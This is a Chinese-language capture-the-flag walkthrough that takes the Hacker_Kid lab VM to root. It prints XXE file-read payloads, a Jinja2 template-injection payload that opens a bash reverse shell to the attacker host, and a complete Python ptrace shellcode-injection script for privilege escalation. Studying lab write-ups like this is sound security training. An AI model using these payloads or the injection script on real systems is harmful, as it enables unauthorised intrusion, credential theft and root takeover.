实验主机:Hacker_Kid-v1.0.1靶机一台/Kali linux攻击机一台
实验网络:NAT网络
实验目标:获取靶机的Root权限
难易程度:中等
一 部署环境
kali与虚拟机全部为NAT连接
二 测试步骤
第一步:信息收集
步骤一:发现主机
arp-scan -l
步骤二:端口扫描
nmap -A -T4 -p- 192.168.41.150
发现开放了53端口 80端口 9999端口
步骤三:目录遍历
dirb http://192.168.41.150/ 未发现有用信息
步骤四:首页提示使用GET参数方式用page_no去查看⻚面
步骤五 :使用page_no进行测试 提示需要进行更加深入的挖掘
http://192.168.41.150/?page_no=1
步骤六:利用bp爆破 爆破出21 访问
步骤七:上一步得到了域名 hackers.blackhat.local kali进行查询dns
dig hackers.blackhat.local @192.168.41.150
步骤八:将得到的域名添加到/etc/hosts中
192.168.41.150 hackers.blackhat.local
192.168.41.150 blackhat.local
192.168.41.150 hackerkid.blackhat.local
步骤九:在kali访问http://hackerkid.blackhat.local/ 是一个注册界面
第二步:漏洞利用 获取webshell
步骤一:访问源码发现XML语法 尝试XML外部实体注入
步骤二 :抓包注册界面 读取/etc/passwd内容 发现saket
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
步骤三:读取密码
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc" >]>
IyB+Ly5iYXNocmM6IGV4ZWN1dGVkIGJ5IGJhc2goMSkgZm9yIG5vbi1sb2dpbiBzaGVsbHMuCiMgc2VlIC91c3Ivc2hhcmUvZG9jL2Jhc2gvZXhhbXBsZXMvc3RhcnR1cC1maWxlcyAoaW4gdGhlIHBhY2thZ2UgYmFzaC1kb2MpCiMgZm9yIGV4YW1wbGVzCgojIElmIG5vdCBydW5uaW5nIGludGVyYWN0aXZlbHksIGRvbid0IGRvIGFueXRoaW5nCmNhc2UgJC0gaW4KICAgICppKikgOzsKICAgICAgKikgcmV0dXJuOzsKZXNhYwoKIyBkb24ndCBwdXQgZHVwbGljYXRlIGxpbmVzIG9yIGxpbmVzIHN0YXJ0aW5nIHdpdGggc3BhY2UgaW4gdGhlIGhpc3RvcnkuCiMgU2VlIGJhc2goMSkgZm9yIG1vcmUgb3B0aW9ucwpISVNUQ09OVFJPTD1pZ25vcmVib3RoCgojIGFwcGVuZCB0byB0aGUgaGlzdG9yeSBmaWxlLCBkb24ndCBvdmVyd3JpdGUgaXQKc2hvcHQgLXMgaGlzdGFwcGVuZAoKIyBmb3Igc2V0dGluZyBoaXN0b3J5IGxlbmd0aCBzZWUgSElTVFNJWkUgYW5kIEhJU1RGSUxFU0laRSBpbiBiYXNoKDEpCkhJU1RTSVpFPTEwMDAKSElTVEZJTEVTSVpFPTIwMDAKCiMgY2hlY2sgdGhlIHdpbmRvdyBzaXplIGFmdGVyIGVhY2ggY29tbWFuZCBhbmQsIGlmIG5lY2Vzc2FyeSwKIyB1cGRhdGUgdGhlIHZhbHVlcyBvZiBMSU5FUyBhbmQgQ09MVU1OUy4Kc2hvcHQgLXMgY2hlY2t3aW5zaXplCgojIElmIHNldCwgdGhlIHBhdHRlcm4gIioqIiB1c2VkIGluIGEgcGF0aG5hbWUgZXhwYW5zaW9uIGNvbnRleHQgd2lsbAojIG1hdGNoIGFsbCBmaWxlcyBhbmQgemVybyBvciBtb3JlIGRpcmVjdG9yaWVzIGFuZCBzdWJkaXJlY3Rvcmllcy4KI3Nob3B0IC1zIGdsb2JzdGFyCgojIG1ha2UgbGVzcyBtb3JlIGZyaWVuZGx5IGZvciBub24tdGV4dCBpbnB1dCBmaWxlcywgc2VlIGxlc3NwaXBlKDEpClsgLXggL3Vzci9iaW4vbGVzc3BpcGUgXSAmJiBldmFsICIkKFNIRUxMPS9iaW4vc2ggbGVzc3BpcGUpIgoKIyBzZXQgdmFyaWFibGUgaWRlbnRpZnlpbmcgdGhlIGNocm9vdCB5b3Ugd29yayBpbiAodXNlZCBpbiB0aGUgcHJvbXB0IGJlbG93KQppZiBbIC16ICIke2RlYmlhbl9jaHJvb3Q6LX0iIF0gJiYgWyAtciAvZXRjL2RlYmlhbl9jaHJvb3QgXTsgdGhlbgogICAgZGViaWFuX2Nocm9vdD0kKGNhdCAvZXRjL2RlYmlhbl9jaHJvb3QpCmZpCgojIHNldCBhIGZhbmN5IHByb21wdCAobm9uLWNvbG9yLCB1bmxlc3Mgd2Uga25vdyB3ZSAid2FudCIgY29sb3IpCmNhc2UgIiRURVJNIiBpbgogICAgeHRlcm0tY29sb3J8Ki0yNTZjb2xvcikgY29sb3JfcHJvbXB0PXllczs7CmVzYWMKCiMgdW5jb21tZW50IGZvciBhIGNvbG9yZWQgcHJvbXB0LCBpZiB0aGUgdGVybWluYWwgaGFzIHRoZSBjYXBhYmlsaXR5OyB0dXJuZWQKIyBvZmYgYnkgZGVmYXVsdCB0byBub3QgZGlzdHJhY3QgdGhlIHVzZXI6IHRoZSBmb2N1cyBpbiBhIHRlcm1pbmFsIHdpbmRvdwojIHNob3VsZCBiZSBvbiB0aGUgb3V0cHV0IG9mIGNvbW1hbmRzLCBub3Qgb24gdGhlIHByb21wdAojZm9yY2VfY29sb3JfcHJvbXB0PXllcwoKaWYgWyAtbiAiJGZvcmNlX2NvbG9yX3Byb21wdCIgXTsgdGhlbgogICAgaWYgWyAteCAvdXNyL2Jpbi90cHV0IF0gJiYgdHB1dCBzZXRhZiAxID4mL2Rldi9udWxsOyB0aGVuCgkjIFdlIGhhdmUgY29sb3Igc3VwcG9ydDsgYXNzdW1lIGl0J3MgY29tcGxpYW50IHdpdGggRWNtYS00OAoJIyAoSVNPL0lFQy02NDI5KS4gKExhY2sgb2Ygc3VjaCBzdXBwb3J0IGlzIGV4dHJlbWVseSByYXJlLCBhbmQgc3VjaAoJIyBhIGNhc2Ugd291bGQgdGVuZCB0byBzdXBwb3J0IHNldGYgcmF0aGVyIHRoYW4gc2V0YWYuKQoJY29sb3JfcHJvbXB0PXllcwogICAgZWxzZQoJY29sb3JfcHJvbXB0PQogICAgZmkKZmkKCmlmIFsgIiRjb2xvcl9wcm9tcHQiID0geWVzIF07IHRoZW4KICAgIFBTMT0nJHtkZWJpYW5fY2hyb290OisoJGRlYmlhbl9jaHJvb3QpfVxbXDAzM1swMTszMm1cXVx1QFxoXFtcMDMzWzAwbVxdOlxbXDAzM1swMTszNG1cXVx3XFtcMDMzWzAwbVxdXCQgJwplbHNlCiAgICBQUzE9JyR7ZGViaWFuX2Nocm9vdDorKCRkZWJpYW5fY2hyb290KX1cdUBcaDpcd1wkICcKZmkKdW5zZXQgY29sb3JfcHJvbXB0IGZvcmNlX2NvbG9yX3Byb21wdAoKIyBJZiB0aGlzIGlzIGFuIHh0ZXJtIHNldCB0aGUgdGl0bGUgdG8gdXNlckBob3N0OmRpcgpjYXNlICIkVEVSTSIgaW4KeHRlcm0qfHJ4dnQqKQogICAgUFMxPSJcW1xlXTA7JHtkZWJpYW5fY2hyb290OisoJGRlYmlhbl9jaHJvb3QpfVx1QFxoOiBcd1xhXF0kUFMxIgogICAgOzsKKikKICAgIDs7CmVzYWMKCiMgZW5hYmxlIGNvbG9yIHN1cHBvcnQgb2YgbHMgYW5kIGFsc28gYWRkIGhhbmR5IGFsaWFzZXMKaWYgWyAteCAvdXNyL2Jpbi9kaXJjb2xvcnMgXTsgdGhlbgogICAgdGVzdCAtciB+Ly5kaXJjb2xvcnMgJiYgZXZhbCAiJChkaXJjb2xvcnMgLWIgfi8uZGlyY29sb3JzKSIgfHwgZXZhbCAiJChkaXJjb2xvcnMgLWIpIgogICAgYWxpYXMgbHM9J2xzIC0tY29sb3I9YXV0bycKICAgICNhbGlhcyBkaXI9J2RpciAtLWNvbG9yPWF1dG8nCiAgICAjYWxpYXMgdmRpcj0ndmRpciAtLWNvbG9yPWF1dG8nCgogICAgYWxpYXMgZ3JlcD0nZ3JlcCAtLWNvbG9yPWF1dG8nCiAgICBhbGlhcyBmZ3JlcD0nZmdyZXAgLS1jb2xvcj1hdXRvJwogICAgYWxpYXMgZWdyZXA9J2VncmVwIC0tY29sb3I9YXV0bycKZmkKCiMgY29sb3JlZCBHQ0Mgd2FybmluZ3MgYW5kIGVycm9ycwojZXhwb3J0IEdDQ19DT0xPUlM9J2Vycm9yPTAxOzMxOndhcm5pbmc9MDE7MzU6bm90ZT0wMTszNjpjYXJldD0wMTszMjpsb2N1cz0wMTpxdW90ZT0wMScKCiMgc29tZSBtb3JlIGxzIGFsaWFzZXMKYWxpYXMgbGw9J2xzIC1hbEYnCmFsaWFzIGxhPSdscyAtQScKYWxpYXMgbD0nbHMgLUNGJwoKIyBBZGQgYW4gImFsZXJ0IiBhbGlhcyBmb3IgbG9uZyBydW5uaW5nIGNvbW1hbmRzLiAgVXNlIGxpa2Ugc286CiMgICBzbGVlcCAxMDsgYWxlcnQKYWxpYXMgYWxlcnQ9J25vdGlmeS1zZW5kIC0tdXJnZW5jeT1sb3cgLWkgIiQoWyAkPyA9IDAgXSAmJiBlY2hvIHRlcm1pbmFsIHx8IGVjaG8gZXJyb3IpIiAiJChoaXN0b3J5fHRhaWwgLW4xfHNlZCAtZSAnXCcncy9eXHMqWzAtOV1cK1xzKi8vO3MvWzsmfF1ccyphbGVydCQvLydcJycpIicKCiMgQWxpYXMgZGVmaW5pdGlvbnMuCiMgWW91IG1heSB3YW50IHRvIHB1dCBhbGwgeW91ciBhZGRpdGlvbnMgaW50byBhIHNlcGFyYXRlIGZpbGUgbGlrZQojIH4vLmJhc2hfYWxpYXNlcywgaW5zdGVhZCBvZiBhZGRpbmcgdGhlbSBoZXJlIGRpcmVjdGx5LgojIFNlZSAvdXNyL3NoYXJlL2RvYy9iYXNoLWRvYy9leGFtcGxlcyBpbiB0aGUgYmFzaC1kb2MgcGFja2FnZS4KCmlmIFsgLWYgfi8uYmFzaF9hbGlhc2VzIF07IHRoZW4KICAgIC4gfi8uYmFzaF9hbGlhc2VzCmZpCgojIGVuYWJsZSBwcm9ncmFtbWFibGUgY29tcGxldGlvbiBmZWF0dXJlcyAoeW91IGRvbid0IG5lZWQgdG8gZW5hYmxlCiMgdGhpcywgaWYgaXQncyBhbHJlYWR5IGVuYWJsZWQgaW4gL2V0Yy9iYXNoLmJhc2hyYyBhbmQgL2V0Yy9wcm9maWxlCiMgc291cmNlcyAvZXRjL2Jhc2guYmFzaHJjKS4KaWYgISBzaG9wdCAtb3EgcG9zaXg7IHRoZW4KICBpZiBbIC1mIC91c3Ivc2hhcmUvYmFzaC1jb21wbGV0aW9uL2Jhc2hfY29tcGxldGlvbiBdOyB0aGVuCiAgICAuIC91c3Ivc2hhcmUvYmFzaC1jb21wbGV0aW9uL2Jhc2hfY29tcGxldGlvbgogIGVsaWYgWyAtZiAvZXRjL2Jhc2hfY29tcGxldGlvbiBdOyB0aGVuCiAgICAuIC9ldGMvYmFzaF9jb21wbGV0aW9uCiAgZmkKZmkKCiNTZXR0aW5nIFBhc3N3b3JkIGZvciBydW5uaW5nIHB5dGhvbiBhcHAKdXNlcm5hbWU9ImFkbWluIgpwYXNzd29yZD0iU2FrZXQhIyQlQCEhIgo= is not available !!!
解码
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
# If not running interactively, don't do anything
case $- in
*i*) ;;
*) return;;
esac
# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth
# append to the history file, don't overwrite it
shopt -s histappend
# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000
# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize
# If set, the pattern "**" used in a pathname expansion context will
# match all files and zero or more directories and subdirectories.
#shopt -s globstar
# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"
# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
debian_chroot=$(cat /etc/debian_chroot)
fi
# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
xterm-color|*-256color) color_prompt=yes;;
esac
# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes
if [ -n "$force_color_prompt" ]; then
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
# We have color support; assume it's compliant with Ecma-48
# (ISO/IEC-6429). (Lack of such support is extremely rare, and such
# a case would tend to support setf rather than setaf.)
color_prompt=yes
else
color_prompt=
fi
fi
if [ "$color_prompt" = yes ]; then
PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt
# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
;;
*)
;;
esac
# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
alias ls='ls --color=auto'
#alias dir='dir --color=auto'
#alias vdir='vdir --color=auto'
alias grep='grep --color=auto'
alias fgrep='fgrep --color=auto'
alias egrep='egrep --color=auto'
fi
# colored GCC warnings and errors
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'
# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'
# Add an "alert" alias for long running commands. Use like so:
# sleep 10; alert
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.
if [ -f ~/.bash_aliases ]; then
. ~/.bash_aliases
fi
# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
if [ -f /usr/share/bash-completion/bash_completion ]; then
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi
#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"
is not jö¢¦åe !!!
步骤四:上一步骤解码得到密码 Saket!#$%@!! 根据密码形式猜测用户为saket 在9999端口进行登录测试
步骤五:跟据页面提示 猜测name参数进行传参 发现有输出
http://192.168.41.150:9999/?name=test
步骤六:猜测存在表达式注入,进行测试 发现{{}} 被执行
{{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz] // 报错存在漏洞
{{9*9}}${9*9}<%9*9%>[9*9] // 测试哪个表达式被执行了
步骤七:利用表达式建立反弹shell
name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.41.130/4444 0>&1"')}}
name=%7b%25%20%69%6d%70%6f%72%74%20%6f%73%20%25%7d%7b%7b%6f%73%2e%73%79%73%74%65%6d%28%27%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%34%31%2e%31%33%30%2f%34%34%34%34%20%30%3e%26%31%22%27%29%7d%7d
步骤八:反弹成功 当前用户为普通账户
第三步:权限提升
步骤一: 查看是否可以SUID或者sudo 的命令 发现没有
步骤二:参考大佬操作 利用 capabilities提权 发现可以使用pyhton2.7
getcap -r / 2>/dev/null //查询具有capabilities权限的文件
/sbin/getcap -r / 2>/dev/null //上面的不行使用下面的
步骤三:列出root账号运行的进程
ps aux | grep root
步骤四:将提权代码保存在kali中 然后上传到靶机
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
python -m http.server 8888 //kali开启http服务
wget http://192.168.41.130:8888/we.py //靶机下载
步骤五:将代码注入到以root账户运行的进程 并查看5600端口是否开放
python2.7 inject.py 881 //这个不行的话尝试其他进程
步骤六:kali连接
nc 192.168.41.150 5600